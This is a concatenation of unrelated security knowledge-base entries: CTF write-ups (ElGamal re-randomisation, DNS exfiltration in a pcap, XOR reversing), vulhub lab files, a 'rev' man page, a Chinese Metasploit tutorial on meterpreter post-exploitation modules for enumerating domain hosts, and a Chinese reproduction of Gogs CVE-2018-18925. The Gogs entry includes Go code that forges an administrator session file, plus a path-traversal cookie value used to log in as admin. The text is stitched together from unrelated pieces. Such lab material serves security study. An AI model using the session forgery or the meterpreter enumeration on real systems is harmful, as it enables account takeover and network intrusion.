![](task.png) Można się zastanowić czego dokładnie chcą od nas twórcy zadania w "matematycznych" słowach. `r` i `s` są liczbami losowymi, więc jeśli uda nam się je zamienić, otrzymamy jednocześnie rozwiązanie zadania. Tzn. jeśli bylibyśmy w stanie zamienić `(g^r, h^r, g^s, mh^s)` na `(g^x, h^x, g^y, mh^y)` (dla jakiegoś x != r, y != s) to mamy rozwiązanie zadania. Przy rozwiązaniu było trochę kombinowania, ale szybko wpadliśmy na podmianę którą można było łatwo wykonać: r -> r+r s -> r+s Nasz solver demonstrujący podmianę (podstawy algebry wystarczą żeby udowodnić poprawność rozwiązania): ```python def solve(a, b, c, d, p): # a = g^r # b = h^r # c = g^s # d = m*g^xs return [x%p for x in [ a*a, # g^(r+r) b*b, # h^(r+r) a*c, # g^(r+s) d*b # m*h^(r+s) ]] ``` I rozwiązanie: a': 3287406693040037454338117703746186185132137914785835752950604845777415758360615360784432898128185782894436154048036406523549199332371675403330587908658389 b': 3106361558536896198315490627917020257039985078045091925325167930756012775219021778274538316287957153184501076513389822529518252243096913454042609623430979 c': 2705749471178411581710759303917406711797848509917528975018497036876024862091214580659339932929912633743841281275200381261759865873903109533343463983599973 d': 5373483039142295785146805049046423326555571326092245347871091138664843112902523040473342171017639501524961161720758693343930112103298610080325764680063048
sec-knowleage
# Wireshark twoo twooo two twoo... Category: Forensics, 100 points ## Description > Can you find the flag? A network capture was attached. ## Solution We get a network capture with mainly HTTP and DNS traffic: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -qz io,phs -r shark2.pcapng =================================================================== Protocol Hierarchy Statistics Filter: eth frames:4831 bytes:3355920 ip frames:4829 bytes:3355822 tcp frames:3276 bytes:3120750 tls frames:71 bytes:115780 tcp.segments frames:2 bytes:6576 http frames:802 bytes:1879844 tcp.segments frames:299 bytes:1605841 mime_multipart frames:309 bytes:194144 tcp.segments frames:309 bytes:194144 data-text-lines frames:91 bytes:23987 tcp.segments frames:90 bytes:23696 xml frames:1 bytes:579 udp frames:1553 bytes:235072 gquic frames:41 bytes:11668 dns frames:1512 bytes:223404 arp frames:2 bytes:98 =================================================================== ``` Scanning through the streams, we see this: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -r shark2.pcapng -qz follow,tcp,ascii,5 =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 5 Node 0: 192.168.38.104:63636 Node 1: 18.217.1.57:80 445 GET / HTTP/1.1 Host: 18.217.1.57 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 17 HTTP/1.0 200 OK 235 Content-Type: text/html; charset=utf-8 Content-Length: 99 Server: Werkzeug/1.0.1 Python/3.6.9 Date: Mon, 10 Aug 2020 01:39:16 GMT The official Red's Shrimp and Herring website is still under construction. Please check back later! =================================================================== ``` Did someone order a red herring? ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -nr shark2.pcapng -Y 'frame contains "pico"' -T fields -e text Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{bfe48e8500c454d647c55a4471985e776a07b26cba64526713f43758599aa98b} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{bda69bdf8f570a9aaab0e4108a0fa5f64cb26ba7d2269bb63f68af5d98b98245} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{fe83bcb6cfd43d3b79392f6a4232685f6ed4e7a789c2ce559cf3c1ab6adbe34b} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{711d3893d90f100c15e10ef4842abeed3a830f8237c1257cd47389646da97810} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{3cf1e22d489fcfb6bb312a34f46c8699989ed043406134331452d11ce73cd59e} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{b4cc138bb0f7f9da7e35085e349555aa6d00bdca3b021c1fe8663c0a422ce0d7} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{41b8a1a796bd8d202016f75bc5b38889e9ea06007e6b22fc856d380fb7573133} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{9812bc4be04e6f9c803152313db3da53b3dfb799bdb05aac46fa0dd0045d2fc2} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{64cf3ede3736a340fdf2954be5151ce53bec291c5e48cbccb44faa529946e249} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{c50d259a4e172fcb2eddbabeebd272473e4882b76c9efcd12c03ac04429d884a} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{0a024b7d39603756feafa2bbaa1603b14a99eae5dcd59f1d957f511d822c8c06} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{97211eec9228bb247d762527bace8b3e4ec2110c8834af12aefd3c552cdc21b2} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{29679910c47d8afc737a1c21d7bf758cd3d81001bdbeec8c6f81a6ad88fdc279} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{996979e9540be0fe9320e80eb6336047f8140a80830700907b99741310acf08f} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{8b272a18c1005c95a420d4a0df426cb8441d29eb96210493a96fa25ac5e657aa} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{e1d0a752dc71121200f4bcb1b8cc2e03e84488df229b82196afbe0045ef025c4} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{0ba511844a2ab38fe0709bcdb2b8bdfeb37a0b466dc902e92062db4c2b3f455c} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{dadda48e855421e14597ffc727943b57efd8c9a15d10bfd491f0390659162fb1} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{f4dd87795395c74f3083f8caa4ec22d1531281554a6003d1c47c5f0370984ab6} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{0f30a584680db9e70c7e1c6ca954c2f023b77f3fd2b05bd9aeee6e00dc4da5d7} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{715e4d0d167e862af8825f62d3f4ff8aef20443445a06b1c68572390a2825d29} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{7654ee03f31576e8ed44799fc4fa5ee053d35050000502e878d1fb8022618923} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{068606b5faca0491d97a2b46fdca7f6f81acbd909ce691077fe77e03a3c0939a} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{64ab681ffed33c49b5e8ae0576e22857e9a10ae30cdbee415fb514b84aa58aea} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{8ae3995e726f8f2c3724e2e0522f038aba6649facd378d8965c648233d79a252} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{1c125d267b5811cd25cca2d517e022270aa60f3c8461f4097c685bcca637a6a9} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{824c298d14e1fe369df991af72ab0725d2e7c7d05b9655486873ccc467f4bd6b} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{e1d8dd1b73d5fd7704a16c924ddee69dc6bf9beef14cc3a10142704b81f0fa07} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{82d260fe0670d551347b164c54183d996c52ebeebb1ccfcc2c2ebb91268dc944} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{74876fc61ebc9c902f8983979cd4c21206c69a23f0dcc0817e150dd75e446838} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{49c52d1f30973f90716bbcbe3633e11cf70b9a31ed785871ccb80473302a59db} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{89d93dbb96a3857ac87ba0cea3c10a9e4c7b34d79b2edb463cef030d34297bd0} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{5ceacdce54c13a3fddfcfb225a00247304fbb15f29f9c90434383f277567992d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{c22a40a43ed7034bd935805f59603a46d3a1f2d6b8e31281eb0721597b6c6d62} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{6071bca5da06d4f975a52357cda0cd6f0614787c1c70b1b7e1af2c7fb272d281} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{65a8b141f019506feea38a119988ad645bcab1a5fa8693efdf26e1fd3cb44b4c} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{d7f5cb78a895d3805601522b95d599cb6d2689c6a856e3fbee6aac2fca0c20f3} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{739bb0f0aa17331819a0e942d37bfee757c8d9cd089cdfe32509027b92485213} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{7a891e2c4ad0da374bc15ad7ad0ee081077dd376f06152781f780c201691713d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{a97d3ee943221888bd1157429e4a00ed5e9905a610e64664f7e36c7f5e0a4ef9} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{c38d2d74dc21bbb2e3a95b52e2354ee523379cfe4f8b348c9c5b5d7bd7cb871b} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{e4dc886c39a53ff118bf29041067cde48dcebb89b3dae61a8aba6187d671999a} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{9fbd0d18aa1abfd289ba977ae4354b821cc74591260889afba1b0b6e7763aa31} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{3fc0801bcd36336a2c030c6e5f452f5795be1d562e00411365fb64c6a2f688ef} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{4aa86643eb2ddb5709725344cd0e63e6c52e35c2e64a39f3a4a0ee7bbd5d3ade} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{4af8df415d17e6df99a5efddebcb33a68c0c8bf26d481eed16b5f77675030d7f} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{e4f52a0d2a924906ac102a32c52ab9128bf9cd6e5294518ad3ed6748f853b0ab} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{cc104e74a9f50164ee5652d168ef38a21b7a2d5e3196062e669e3a2705f1a0d3} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{2aac620b0bdd2e6946d62c5d232ca32ba1f5a9d8ec82c060778b54ffeb8fbd1f} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{4e55be07159def207afc142954f5673a0651d5f32f5f4090fb774d960628e352} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{983e5e2703a132a49479e438bfba15ee5d02345b03d410b8163b685973937da7} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{d342a46e8179de9941720c5e0eeac0d0fae9d3014d2ddcf531a7865a997b00e5} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{2133904cfe757bc6c68c3e5f3749b37d67d7fa6ffb2768410be593d3fe8c4bd4} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{29b726b9a57d176e1487d159474ee7e6508b66c05c526a00c942a8cebb6bb496} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{7302b0dca07cd890c75e38d78d7e74d7bbf2b932f555aaf5b6754f56e778e3fc} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{22e018bb8282e9d7852ed4e65f70a26524dabef78cf41e1db45c070c94621c57} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{40f366ccf0f6462f5b8b1dc4d7384a62aa95565afcaad96a937b8c1f1134099b} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{db38cbc215cde0d9cd52cbca2390defdb54303e998019a5c4ddaf9861b54efcb} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{090fa8ec995ab9fc9f97cbe9ea36cb81c4504a3ca02466ddd207cfe7f785cb5c} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{947b91a983c93217304f8e5b112e93eaf619e6a9386ab93be93a9b67e53b2fda} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{a3ed2f602322f749f4cb016515e25b67749efd08ac2f2c53023596cbf0dcbd0f} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{8e625859eb325d2a69934e4a44c93fcc132e813efb3fdaaa5143147678e9cbf9} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{8d43c4889ee5b507d1785adfa2592f2fb3d7cf20ebf37ce46595edc46fba3f6d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{0020d021e9e38dbb5a5fa432175089d8b76e4a900618c95f8cae14fedaa45b63} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{69e96b10f560a6a0656a6d950e73e41bcf4226c424bb5622839dda0c66755b14} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{34c6ca47d858ab18aa2008f4ac31c31570c46186939e6b46458b19082122d4bd} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{ebfcebe696b1fdbba2abb3b003165152456bd83b6ddfbf180ca366de0dec1b0c} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{aa125aaeb4723f69dceaa90125a8099a6f3fe0259e068fd82dcbeb76131448bb} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{80d65857d8d81a92769e8cd136376522d113c4298b331318ce7adcbf5e70104d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{00ae773ce4a4b3cf3287f072c13ec7139a74207de635de9d115087bc4f312bae} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{7e808778b7250893922a17d53f10365b009a7624935850ac5c8140461e49d579} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{33e80d6e9f56c1f7705c73566d347ccb32b4662171f224b6dfcb6c8fce4f1601} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{5d921ffbe2709ba82d09603a095530aedae41ab96fd052140cbc64319b7ab0ac} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{977b385d5dd6abde9cb89ee940b5cfb7179d73d989c6993346d278bff003c154} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{ca7d3b029817de8f318d8fa521ad1b569f4e8a37358373193522cc7f5628ed49} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{a820680ab6444b1daf5281192f337aefb4aa95a313c9f270804ef7826ecc298c} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{998d01dadf1b44eb4ec7b7e8fa11f11bcd2d7d86f3f9e4966dde22d4a84ca113} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{cb8fe3ec65f890e2f0570c98c4edd3fe4115bc059ac2afb39300c7b66f2302c4} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{bc2af8cbe0ae0befdd28b14412295243354cd3c7cc74e88d8facb2fd5e6ef34d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{09082a0313e16fc36f8076ff86e54e83048a8568f5c2294fea5fb3bcd212e7f2} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{2386746aeb258914349dc81a85cb5de72e47930c7f11759b4ad9f864efa7b5aa} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{173306d7b886423d9f79d3d0d05209807ae7b83c445931319830e4e0ad2d2f09} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{6cb98e2295bbe1f15fd8b8b5908de360d386b98a0ce7e0407e001b453b05be22} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{132e643c8fdadb54c366072cb33940411fcfd355209fc1ce9b2022ad1cd1b060} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{044ffca72f0f191b0715ff1a9bff182c810cb2786370cbf8cdc1943c2e7aedf6} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{b278104c2602442e3db401749c30527d80ba560f9a02c939cb4ff6ea189a140d} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{7282e048d6d32383b65f3a03b1101219ac73f7f538446b78d1b2b334e0985447} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{98406c4acbf0f57b3ccbc923aab5a603d70f86d507f422d9bd8656398f53433e} Timestamps,HTTP/1.0 200 OK\r\n,\r\n,picoCTF{3fe0b2788f30d9cb9f77d3b2752f13c554fe7f0e7a2883e57c8a44b34f35675c} ``` Obviously none of these flags worked. But what is all that DNS traffic? ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -nr shark2.pcapng -Y 'dns' | head 791 7.931626 192.168.38.104 → 8.8.8.8 DNS 93 Standard query 0x76aa A lDqoR16q.reddshrimpandherring.com 792 7.943025 8.8.8.8 → 192.168.38.104 DNS 166 Standard query response 0x76aa No such name A lDqoR16q.reddshrimpandherring.com SOA a.gtld-servers.net 793 7.947216 192.168.38.104 → 8.8.8.8 DNS 131 Standard query 0xcdd5 A lDqoR16q.reddshrimpandherring.com.us-west-1.ec2-utilities.amazonaws.com 794 7.957680 8.8.8.8 → 192.168.38.104 DNS 203 Standard query response 0xcdd5 No such name A lDqoR16q.reddshrimpandherring.com.us-west-1.ec2-utilities.amazonaws.com SOA pdns1.ultradns.net 795 7.958549 192.168.38.104 → 8.8.8.8 DNS 109 Standard query 0x5d2d A lDqoR16q.reddshrimpandherring.com.windomain.local 796 7.967998 8.8.8.8 → 192.168.38.104 DNS 184 Standard query response 0x5d2d No such name A lDqoR16q.reddshrimpandherring.com.windomain.local SOA a.root-servers.net 797 7.968981 192.168.38.104 → 8.8.8.8 DNS 93 Standard query 0xc847 A 1Th0dQuT.reddshrimpandherring.com 798 8.049550 8.8.8.8 → 192.168.38.104 DNS 166 Standard query response 0xc847 No such name A 1Th0dQuT.reddshrimpandherring.com SOA a.gtld-servers.net 799 8.050527 192.168.38.104 → 8.8.8.8 DNS 131 Standard query 0x21a5 A 1Th0dQuT.reddshrimpandherring.com.us-west-1.ec2-utilities.amazonaws.com 800 8.061483 8.8.8.8 → 192.168.38.104 DNS 205 Standard query response 0x21a5 No such name A 1Th0dQuT.reddshrimpandherring.com.us-west-1.ec2-utilities.amazonaws.com SOA dns-external-master.amazon.com ``` We can see traffic to non-existent subdomains of `reddshrimpandherring.com`. Let's try to access the domain: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ curl http://www.reddshrimpandherring.com Congrats! Was that tooooo easy? Flag: cGljb0NURntmMXNoeV9zMXR1NHRpMG5fc2VsYmF0X3liYm9iX2VsdHRpbH0= ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ echo cGljb0NURntmMXNoeV9zMXR1NHRpMG5fc2VsYmF0X3liYm9iX2VsdHRpbH0= | base64 -d picoCTF{f1shy_s1tu4ti0n_selbat_ybbob_elttil} ``` That wasn't accepted either. The subdomains are a bit weird though. Might look like base64. If we extract them with some bash voodoo we get: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -nr shark2.pcapng -Y 'dns && ip.src == 192.168.38.104 && frame contains "local" && ip.dst==18.217.1.57' | awk '{ print $12 }' | awk -F. '{ print $1 }' | tr -d "\n" cGljb0NURntkbnNfM3hmMWxfZnR3X2RlYWRiZWVmfQ==fQ== ``` Decode that as base64: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ echo cGljb0NURntkbnNfM3hmMWxfZnR3X2RlYWRiZWVmfQ== | base64 -d picoCTF{dns_3xf1l_ftw_deadbeef} ``` Finally, a flag that was accepted: `picoCTF{dns_3xf1l_ftw_deadbeef}`
sec-knowleage
version: '2' services: spring-security: image: vulhub/spring-security:5.6.3 ports: - "8080:8080"
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。如有肾囊肿,请定期检查肾囊肿的大小变化。 **攻击机:** 192.168.1.102 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version **第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/netbios/nbname * auxiliary/scanner/http/title * auxiliary/scanner/db2/db2_version * auxiliary/scanner/portscan/ack * auxiliary/scanner/portscan/tcp **第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/portscan/syn * auxiliary/scanner/portscan/ftpbounce * auxiliary/scanner/portscan/xmas * auxiliary/scanner/rdp/rdp_scanner * auxiliary/scanner/smtp/smtp_version **第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为:** * auxiliary/scanner/pop3/pop3_version * auxiliary/scanner/postgres/postgres_version * auxiliary/scanner/ftp/anonymous * db_nmap **第六季主要介绍post下的六个模块,辅助发现内网存活主机,分别为:** * windows/gather/arp_scanner * windows/gather/enum_ad_computers * windows/gather/enum_computers * windows/gather/enum_domain * windows/gather/enum_domains * windows/gather/enum_ad_user_comments 在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机。 ### 二十五:基于windows/gather/arp_scanner发现内网存活主机 ```bash meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110‐120 THREADS=20 [*] Running module against VM_2003X86 [*] ARP Scanning 192.168.1.110‐120 [+] IP: 192.168.1.115 MAC 00:0c:29:af:ce:cc (VMware, Inc.) [+] IP: 192.168.1.119 MAC 00:0c:29:85:d6:7d (VMware, Inc.) ``` ![](media/21a718cf4696c8d5f2290c93327dd924.jpg) ### 二十六:基于windows/gather/enum_ad_computers发现域中存活主机 ```bash meterpreter > run windows/gather/enum_ad_computers ``` ![](media/388af809ba44b622b6a64de97dd44fbc.jpg) ### 二十七:基于windows/gather/enum_computers发现域中存活主机 ```bash meterpreter > run windows/gather/enum_computers [*] Running module against VM_2003X86 [‐] This host is not part of a domain. ``` ![](media/464039145a91d47df09c1e64b4155a8b.jpg) ### 二十八:基于windows/gather/enum_domain发现域中存活主机 ```bash meterpreter > run windows/gather/enum_domain ``` ![](media/55a665ab66de46215d6f6f7c2c4f35b9.jpg) ### 二十九:基于windows/gather/enum_domains 发现域中存活主机 ```bash meterpreter > run windows/gather/enum_domains [*] Enumerating DCs for WORKGROUP [‐] No Domain Controllers found... ``` ![](media/2169c37a25c37ef453d7c14a9b1d865a.jpg) ### 三十:基于windows/gather/enum_ad_user_comments发现域中存活主机 ```bash meterpreter > run windows/gather/enum_ad_user_comments ``` ![](media/daedf801fde98f563d15553d382f81bd.jpg) **POST下相关模块如:(列举)不一一介绍** * linux/gather/enum_network * linux/busybox/enum_hosts * windows/gather/enum_ad_users * windows/gather/enum_domain_tokens * windows/gather/enum_snmp 至此,MSF发现内网存活主机主要模块介绍与使用完毕。 > Micropoor
sec-knowleage
import re import os FILE_EXCLUDE_PATTERN = re.compile(r'[/\\]\.(git|idea|vscode|pytest_cache)[/\\]') def is_textplain(data: bytes): return b'\x00' not in data def test_content(): basedir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..')) for (now_dir, dirs, files) in os.walk(basedir): for name in files: filename = os.path.join(now_dir, name) if FILE_EXCLUDE_PATTERN.search(filename): continue with open(filename, 'rb') as f: data = f.read() if not is_textplain(data): continue assert b'\r\n' not in data, f'CRLF must be convert to LF for Vulhub files, but {filename} did not'
sec-knowleage
# Gogs 任意用户登录漏洞(CVE-2018-18925) gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。 其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。 参考链接: - https://github.com/gogs/gogs/issues/5469 - https://xz.aliyun.com/t/3168 - https://www.anquanke.com/post/id/163575 ## 环境启动 执行如下命令启动gogs: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:3000`,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。 安装完成后,需要重启服务:`docker compose restart`,否则session是存储在内存中的。 ## 漏洞利用 使用Gob序列化生成session文件: ```go package main import ( "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" "os" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"} data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) } ``` 然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件: ![](1.png) 通过这个附件的URL,得知这个文件的文件名:`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`。 然后,构造Cookie:`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`,访问即可发现已经成功登录id=1的用户(即管理员): ![](2.png) 完整的利用过程与原理,可以阅读参考链接中的文章。
sec-knowleage
# 3-异或 --- 目标 T3.exe 使用 IDA 打开,找 main 函数,并做基本的分析,重命名函数 可以看到对比 T2.exe ,循环这里的每个字符+1变成了字符与i异或 转换的代码是 ```c for ( i = 0; i < strlen(v4); ++i ) v4[i] ^= i; ``` 编写相应 python 脚本 ```py data=[0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68] for i in range(len(data)): data[i]^=i print(bytearray(data)) ``` C语言版本 ```c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char aaa[]={0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68,0x00}; for(unsigned int i=0;i < strlen(aaa);i++) aaa[i]^=i; printf("%s",aaa); return 0; } ``` --- **Source & Reference** - [萌新学逆向——T3 有趣的异或运算](https://mp.weixin.qq.com/s/zxkId2CYi5-inUnG0JTsCg)
sec-knowleage
rev === 将文件内容以字符为单位反序输出 ## 补充说明 **rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。 ### 语法 ```shell rev(参数) ``` ### 参数 文件:指定要反序显示内容的文件。 ### 实例 ```shell [root@localhost ~]# cat iptables.bak # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 *filter :INPUT DROP [48113:2690676] :FORWARD accept [0:0] :OUTPUT ACCEPT [3381959:1818595115] -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A OUTPUT -o lo -j ACCEPT COMMIT # Completed on Thu Dec 26 21:25:15 2013 [root@localhost ~]# rev iptables.bak 3102 51:52:12 62 ceD uhT no 5.3.1v evas-selbatpi yb detareneG # retlif* ]6760962:31184[ PORD TUPNI: ]0:0[ TPECCA DRAWROF: ]5115958181:9591833[ TPECCA TUPTUO: TPECCA j- ol i- TUPNI A- TPECCA j- 22 tropd-- pct m- pct p- TUPNI A- TPECCA j- 08 tropd-- pct m- pct p- TUPNI A- TPECCA j- DEHSILBATSE,DETALER etats-- etats m- TUPNI A- TPECCA j- pmci p- TUPNI A- TPECCA j- ol o- TUPTUO A- TIMMOC 3102 51:52:12 62 ceD uhT no detelpmoC # ```
sec-knowleage
